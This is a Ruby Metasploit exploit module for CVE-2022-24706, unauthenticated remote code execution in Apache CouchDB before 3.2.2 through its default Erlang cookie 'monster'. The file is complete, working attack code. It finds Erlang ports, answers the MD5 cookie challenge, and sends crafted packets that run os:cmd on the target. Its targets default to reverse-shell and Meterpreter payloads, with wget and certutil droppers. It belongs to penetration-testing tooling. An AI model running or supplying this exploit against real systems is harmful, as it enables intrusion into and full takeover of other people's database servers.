265 lines
9.1 KiB
Ruby
265 lines
9.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::Retry
|
|
include Msf::Exploit::Powershell
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
require 'msf/core/exploit/powershell'
|
|
require 'digest'
|
|
|
|
# Constants required for communicating over the Erlang protocol defined here:
|
|
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
|
|
EPM_NAME_CMD = "\x00\x01\x6e".freeze
|
|
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
|
|
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
|
|
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
|
|
COOKIE = 'monster'.freeze
|
|
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Apache Couchdb Erlang RCE',
|
|
'Description' => %q{
|
|
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
|
|
authenticating and gain admin privileges.
|
|
},
|
|
'Author' => [
|
|
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
|
|
'1F98D', # Erlang Cookie RCE exploit
|
|
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
|
|
'_sadshade', # Apache CouchDB Erlang Cookie exploit
|
|
'jheysel-r7', # Msf Module
|
|
],
|
|
'References' => [
|
|
[ 'EDB', '49418' ],
|
|
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
|
|
[ 'CVE', '2022-24706'],
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win', 'linux'],
|
|
'Payload' => {
|
|
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
|
|
},
|
|
'Privileged' => false,
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_openssl'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper,
|
|
'CmdStagerFlavor' => :wget,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Command',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :win_cmd,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Windows Dropper',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :win_dropper,
|
|
'CmdStagerFlavor' => :certutil,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'PowerShell Stager',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :psh_stager,
|
|
'CmdStagerFlavor' => :certutil,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2022-01-21',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
),
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(4369)
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
erlang_ports = get_erlang_ports
|
|
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
|
|
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
|
|
|
|
erlang_ports.each do |erlang_port|
|
|
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
|
|
# successful and the target as well as the specific socket used in this instance is vulnerable
|
|
sock = connect_to_erlang_server(erlang_port.to_i)
|
|
if sock.instance_of?(Socket)
|
|
@vulnerable_socket = sock
|
|
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
|
|
else
|
|
next
|
|
end
|
|
end
|
|
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
|
|
end
|
|
|
|
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
|
|
#
|
|
# @return [Array] An array of port numbers for discovered Erlang Servers.
|
|
def get_erlang_ports
|
|
erlang_ports = []
|
|
begin
|
|
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
|
|
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
|
|
# request Erlang nodes
|
|
sock.put(EPM_NAME_CMD)
|
|
sleep datastore['WfsDelay']
|
|
res = sock.get_once
|
|
unless res && res.include?("\x00\x00\x11\x11name couchdb")
|
|
print_error('Did not find any Erlang nodes')
|
|
return erlang_ports
|
|
end
|
|
|
|
print_status('Successfully found EDPM socket')
|
|
res.each_line do |line|
|
|
erlang_ports << line.match(/\s(\d+$)/)[0]
|
|
end
|
|
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
|
|
print_error("Error connecting to EDPM: #{e.class} #{e}")
|
|
disconnect
|
|
return erlang_ports
|
|
end
|
|
erlang_ports
|
|
end
|
|
|
|
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
|
|
# default erlang cookie value in Apache CouchDB installations before 3.2.2
|
|
#
|
|
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
|
|
def connect_to_erlang_server(erlang_port)
|
|
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
|
|
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
|
|
print_status('Connection successful')
|
|
challenge = retry_until_truthy(timeout: 60) do
|
|
sock.put(NAME_MSG)
|
|
sock.get_once(5) # ok message
|
|
sock.get_once
|
|
end
|
|
# The expected successful response from the target should start with \x00\x1C
|
|
unless challenge && challenge.include?("\x00\x1C")
|
|
print_error('Connecting to the Erlang server was unsuccessful')
|
|
return
|
|
end
|
|
|
|
challenge = challenge[9..12].unpack('N*')[0]
|
|
challenge_reply = "\x00\x15r\x01\x02\x03\x04"
|
|
md5 = Digest::MD5.new
|
|
md5.update(COOKIE + challenge.to_s)
|
|
challenge_reply << [md5.hexdigest].pack('H*')
|
|
sock.put(challenge_reply)
|
|
sleep datastore['WfsDelay']
|
|
challenge_response = sock.get_once
|
|
|
|
if challenge_response.nil?
|
|
print_error('Authentication was unsuccessful')
|
|
return
|
|
end
|
|
print_status('Erlang challenge and response completed successfully')
|
|
|
|
sock
|
|
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
|
|
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
|
|
disconnect
|
|
return
|
|
end
|
|
|
|
def compile_cmd(cmd)
|
|
msg = ''
|
|
msg << COMMAND_PREFIX
|
|
msg << [cmd.length].pack('S>')
|
|
msg << cmd
|
|
msg << "jw\x04user"
|
|
payload = ("\x70" + CTRL_DATA + msg)
|
|
([payload.size].pack('N*') + payload)
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
payload = compile_cmd(cmd)
|
|
print_status('Sending payload... ')
|
|
opts[:sock].put(payload)
|
|
sleep datastore['WfsDelay']
|
|
end
|
|
|
|
def exploit_socket(sock)
|
|
case target['Type']
|
|
when :unix_cmd, :win_cmd
|
|
execute_command(payload.encoded, { sock: sock })
|
|
when :linux_dropper, :win_dropper
|
|
execute_cmdstager({ sock: sock })
|
|
when :psh_stager
|
|
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
|
|
else
|
|
fail_with(Failure::BadConfig, 'Invalid target specified')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
# If the check method has already been run, use the vulnerable socket that has already been identified
|
|
if @vulnerable_socket
|
|
exploit_socket(@vulnerable_socket)
|
|
else
|
|
erlang_ports = get_erlang_ports
|
|
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
|
|
|
|
erlang_ports.each do |erlang_port|
|
|
sock = connect_to_erlang_server(erlang_port.to_i)
|
|
next unless sock.instance_of?(Socket)
|
|
|
|
exploit_socket(sock)
|
|
end
|
|
end
|
|
end
|
|
end
|